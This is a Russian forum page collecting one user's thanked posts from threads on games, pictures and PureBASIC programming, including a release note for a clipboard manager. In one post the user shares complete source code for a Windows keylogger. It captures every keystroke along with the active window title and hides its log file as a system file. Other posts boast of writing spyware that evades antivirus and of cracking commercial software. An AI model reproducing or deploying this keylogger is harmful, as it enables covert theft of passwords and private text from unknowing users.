IPB

Здравствуйте, гость ( Вход | Регистрация )

История благодарностей участнику Guevara-chan. Спасибо сказали: 5934
Дата поста: В теме: За сообщение: Спасибо сказали:
08 Mar 2012, 19:07 У вас нет прав на просмотр этой темы
У вас нет прав на просмотр этого сообщения
Sar, Mugaisa, Vade Parvis, Kastore, Airat, Doctor Tea
08 Mar 2012, 14:36 У вас нет прав на просмотр этой темы
У вас нет прав на просмотр этого сообщения
Efrit
08 Mar 2012, 14:24 У вас нет прав на просмотр этой темы
У вас нет прав на просмотр этого сообщения
Doctor Tea
08 Mar 2012, 13:59 У вас нет прав на просмотр этой темы
У вас нет прав на просмотр этого сообщения
Vade Parvis, Doctor Tea
08 Mar 2012, 13:22 У вас нет прав на просмотр этой темы
У вас нет прав на просмотр этого сообщения
Mugaisa, Vade Parvis, Doctor Tea
05 Mar 2012, 17:38 Разные Картинки
фото из сети, которые вам понравились
Цитата(Kastore @ 05 Mar 2012, 17:34) *
Генитально. >_>

Так вот за что я люблю и никогда не перестану обожать Second Life: за бескрайнюю шизофазичность происходящего. Волшебные пони в туалетной комнате борделя зоофилов - идиллия. А ведь где-то неподалеку бегают перевозбужденный киберпес и крылатый furry-волк с вороненой шерстью... И потом еще могут всей компанией телепортироваться в FPS-симулятор на тему зомби-апокалипсиса. Никто слова не скажет.
Nirael, Vade Parvis
05 Mar 2012, 17:32 Разные Картинки
фото из сети, которые вам понравились
Vade Parvis
25 Feb 2012, 19:56 Общеигровая тема
Тема для обсуждения самых разных игр.
Забавная статья попалась: http://kanobu.ru/blog/id310775/. Автора подводят мат. часть и знание русского языка, но в целом - первая адекватная подборка за долгие годы. Я аж откомментировать хотела, но, увы, символический лимит таки не позволил (~2900 против максимума в 1k).
Vade Parvis
22 Feb 2012, 15:51 Демотиваторы
картинки на злобу дня
Цитата(Nariel @ 17 Feb 2012, 21:26) *

...К вопросу о примененимости телесных наказаний в войсках Империума ?
Sar, Flashback, Nirael, Vade Parvis
20 Feb 2012, 20:32 Творчество форумчан
Проза, стихи, музыка, живопись и т.д.
Цитата(tolich @ 20 Feb 2012, 20:16) *
Не лучше ли о снах писать там?

Не думаю, там требуется более-менее документальное описание, а вовсе не творчество "по мотивам". И да: там я тоже иногда пишу.
tolich
20 Feb 2012, 18:42 Творчество форумчан
Проза, стихи, музыка, живопись и т.д.
[I.I.I: Gemini]. Перенесено для пущего удобства индексации, но все же...
Mugaisa
01 Aug 2011, 10:44 Во что играете и что недавно прошли?
Все никак не нарадуюсь на "новый" Tactics Ogre:

Mlegion
14 Jul 2011, 11:20 Soft Софт Soft
На все случаи жизни... :-)
Ghost Mouse Auto Clicker v3.3 - таки выломала. Принимайте.
...спустя пару часов...
Да, Fontonizer также не ушел обиженным. Сегодня вообще удачный день.
Mugaisa
15 Jun 2011, 19:59 Flow: God is dead
мой новый WIP проект.
Цитата
ну так как медиум?

Слегка напоминает одну из выбракованных пару лет назад идей. Я подумаю, конечно...

Цитата(Vade Parvis @ 15 Jun 2011, 17:05) *
God is dead?

...Well, at least we still haev some nice things:



Vade Parvis
13 Jun 2011, 20:39 Flow: God is dead
мой новый WIP проект.
New version uploaded:
+Pretty new eyes:





Цитата
(что-то мне подсказывает что я опоздал)

Почти нет: я уже принимаю идеи ко второй части, хотя еще и близко не определилась со сроками реализации запланированного для первой.
Vade Parvis
07 May 2011, 14:04 Flow: God is dead
мой новый WIP проект.
Цитата
אלו פלטפורמות וסולמות

סולמות הם הממשמשת ובאה.

Цитата
жду ридми на иврите

ОК: непременно запилим к релизу.
Flashback
12 Apr 2011, 12:18 Прямое взаимодействие с выходным звуковым каналом
такое возможно?
...И тот старше тебя...
gamecreator
07 Apr 2011, 08:58 Прямое взаимодействие с выходным звуковым каналом
такое возможно?
Цитата
было бы супер

Так приступай, если супер. Кто мешает-то ?

Цитата
он же не знает бейсик

Пусть учится видеть алгоритм, а не язык – тогда, глядишь, может еще и достигнет чего.
tolich
10 Jan 2011, 12:07 Dark side of Programming
PureBASIC
Цитата(gamecreator @ 10 Jan 2011, 00:17) *
характер такой наверное. делать людям пакости. happy.gif

Chaotic Evil же.
Night Hunter, Vade Parvis, Etoprostoya, SerAlexandr, Foster
08 Jan 2011, 16:24 Dark side of Programming
PureBASIC
Цитата
lupa.gif
и что, работает?

Не должно ?

Цитата
Что то не понял, Guevara-chan сделала самый настоящий вирус и об нем писали в новостях?

Да вроде того, только им на анализ попалась сбойная версия: именно ее-то и определи на радостях как червя невиданной аж с конца 90х разрушительной мощи. Мои работы, к слову, удостаивались обзоров и ранее – этот случай просто самый громкий, он как-то сумел выскользнуть за пределы спец. сайтов.

Цитата
легче поставить хук на нажатие клавиши

Ну, во-первых ни разу не проще, а вторых – ты про антивирусы слышал когда-нибудь ?

Цитата
Не надо обзывать кулхацкерство хакерством.

Конкретнее, пожалуйста: труЪ-хакеры по-твоему не имеют права размениваться на написание банального spyware ?
packa
07 Jan 2011, 14:38 Dark side of Programming
PureBASIC
Очередная веха хакерской карьеры - таки напилила свой первый keylogger:

Код
Procedure.s GetWinTitle(*hWnd)
Define TitleSize = GetWindowTextLength_(*hwnd), Result.s = Space(TitleSize)
GetWindowText_(*hWnd, @Result, TitleSize+1) : ProcedureReturn Result
EndProcedure

EnableExplicit
#FlushLimit = 10 : #TimeStamp = "%mm/%dd/%yyyy, %hh:%ss"
; ------------------------
Structure KeyMap : Map.a[256] : EndStructure
Define *MyThread = GetCurrentThreadId_(), Logfile.s = Trim(ProgramParameter())
If LogFile = "" Or OpenFile(0,LogFile)=#False:LogFile=GetPathPart(ProgramFilename())+"\Mylog.txt":OpenFile(0,LogFile):EndIf
SetFileAttributes(Logfile, #PB_FileSystem_Hidden | #PB_FileSystem_System)
WriteStringFormat(0, #PB_Unicode) : FileSeek(0, Lof(0))     ; Продолжаем работу с логом.
If Lof(0) > SizeOf(Character) : WriteStringN(0, #CRLF$, #PB_Unicode) : EndIf; Переносы для удобства.
WriteString(0, FormatDate("==>NOW: " + #TimeStamp + " - new session begun.", Date()), #PB_Unicode)
Define Bytes, Title.s, NewTitle.s, I, Key.c, Keys.KeyMap    ; Переменные цикла.
OpenWindow(0,0,0,0,0,"",#PB_Window_Invisible) : AddWindowTimer(0, 0, 10000); Таймер до сброса буфера.
; ------------------------
Repeat : Delay(1)                    ; Forever loop.
For I = 4 To #MAXBYTE                ; Проверяем все клавиши.
If GetAsyncKeyState_(I) = -32767        ; Если клавиша отжата....
Define *Win = GetForegroundWindow_()    ; Получаем активное окно.
Define *Thread = GetWindowThreadProcessId_(*Win, 0); Получаем поток активного окна.
Define Lay = GetKeyboardLayout_(*Thread); Клавиатурная раскладка активного окна.
AttachThreadInput_(*MyThread, *Thread, #True); Объединение входных потоков.
GetKeyboardState_(@Keys\Map)            ; Получаем состояние клавиатуры.
NewTitle = GetWinTitle(*Win) : If NewTitle <> Title : Title = NewTitle : WriteStringN(0, #CRLF$+"=>["+Title+"]<=", #PB_Unicode) : EndIf
If ToUnicodeEx_(I, MapVirtualKey_(I, 0), @Keys\Map, @Key, SizeOf(Key), #Null, Lay) > 0 : WriteCharacter(0, Key); Пишем символ.
EndIf  : EndIf
Next I : If WindowEvent() = #PB_Event_Timer  : FlushFileBuffers(0) : EndIf; Сбрасываем буфер.
ForEver
gamecreator
29 Dec 2010, 16:07 Slippery Clip
(менеджер буфера обмена)
; *-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-*
Название: Slippery Clip
Версия: v1.21 (Release)
Распространение: FreeWare OpenSource
Среда разработки: PureBASIC v5.30
; *-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-*

Только факты:
[*] Slippery Clip представляет собой компактную и простую в обращении утилиту для расширения функционала буфера обмена.
[*] Помимо опциональной иконки на панели задач, окно программы можно вернуть на экран комбинацией Ctrl+Shift+T.
[*] Двойной по элементу списка помещает его в буфер обмена. Такой элемент всегда отмечается стрелкой (->).
[*] Удаление активного элемента выгружает его из буфера обмена, оставляя тот пустым.
[*] Щелчок правой кнопкой по списку выдает контекстное меню выделенного элемента.
[*] Для назначения сохраненному элементу горячей клавиши используйте комбинации Ctrl+[1-9]. Ассоциированная клавиша отобразится рядом с идентификатором типа.
[*] Использование комбинаций Ctrl+[1-9] вне окна программы приводит к помещению ассоциированного с ними элемента в буфер
обмена и дальнейшей вставке в активное приложение.
[*] Использование клавиш 1-9 в окне программы приводит к помещение в буфер обмена ассоциированного с ними элемента.
[*] Помимо вышеперечисленного, Slippery Clip также поддерживает следующие клавиатурные сокращения: Enter/Ctrl+C/Ctrl+Ins для перевода текущего элемента в буфер, Ctrl+O для показа настроек, Ctrl+F для быстрого перехода к строке запросов и F3/Shift+F3 для поиска по заданным критериям вхождений ниже/выше текущего выделения соответственно. Также возможно использование стрелок, в сочетании с Control'ом перемещающих элемент.
[*] Клавиатурные комбинации Ctrl+P и Ctrl+V позволяют оперативно ознакомиться с содержимым подсвеченного нода, открывая для демонстрации общепрограмное или индивидуальное окна просмотра соответственно.
[*] Помимо прочего, предусмотрен доступ к некоторым функциям программы без перехода в окно. Так, Shift+Ctrl+[1-9] присвоит текущему элементу в буфере горячую клавишу, Shift+Ctrl+Q инвертирует его раскладку, а Shift+Ctrl+S предложит диалог сохранения. Также, допустимо использовать пробел для вывода списка информации о выбранном узле и Shift+ESC для досрочного завершения поисковых процедур.
[*] В окне просмотра данных, клавиши '+' и '-' могут использоваться для быстрого изменения размеров.
[*] Программа выбирает данные из буфера обмена по следующей цепочке приоритетов: RTF>META>BMP>HTML>STR.
[*] Размер метафайла считается по методу ACDSee, т.е. исходя из разностей границ (rclBounds).
[*] По умолчанию, поисковый интерфейс принимает [text/~case/sel] в качестве заголовка, ища запрос по текстовым данным без учета регистра и выделяя результаты в окнах просмотра.
[*] Для облегчения работы c символами вне стандартных наборов, поисковый механизм Slippery Clip предусматривает систему репарсинга. Спец. коды всегда начинаются с ` и поддерживают следующие комбинации:
<*> `` = ` (самоизоляция символа последовательности).
<*> `~ = Alt+010 / LF (символ подачи строки).
<*> `| = Alt+013 / CR (символ возврата каретки).
<*> `#%hex%%hex% - вставка символа по ACII-коду (так, `#09 эквивалентно знаку табуляции).
<*> `$%hex%%hex%%hex%%hex% - вставка символа по Unicode-коду (так, `#$0046 эквивалентно букве F).
<*> Любые прочие последовательности, включая попытки вставить нулевой символ (`#00/`$0000), интерпретируются в своем изначальном представлении.
[*] На данный момент, поисковая система автоматически заменяет следующие символы кодами репарсера: Alt+009, Alt+010 и Alt+013.
Official site: https://slipperyclip.codeplex.com/

P.S. С нетерпением жду ваших жалоб и предложений.
Vade Parvis, packa
27 Dec 2010, 11:05 Прямое взаимодействие с выходным звуковым каналом
такое возможно?
Цитата
Мне надо вообще управлять уровнем звука

Кто-то мешает ?
FBX
19 Dec 2010, 13:10 Общеигровая тема
Тема для обсуждения самых разных игр.
http://forum.romulation.net/index.php?topic=47578.0 - Что скажете, господа?
packa
14 Dec 2010, 12:34 4D
%]
http://www.guildwarsguru.com/forum/hyperdi...-t10347630.html
Навеяло (english). Замечу только, что к теме раздела проблема отношения не имеет: это вопрос исключительно дизайна, но никак не программирования.

Цитата
Хех, кстати создай на gamedev.ru такую тему

Прямо навскидку: http://www.gamedev.ru/flame/forum/?id=24644
Одна из реализаций: http://www.gamedev.ru/projects/forum/?id=54496
FBX, ChASnock

54 страниц V  « < 48 49 50 51 52 > » 
Текстовая версия Сейчас: 25 April 2024 - 16:24
Copyright by Алексей Крючков
Strategy Gamez by GrayMage
Programming by Degtyarev Dmitry
  Яндекс.Метрика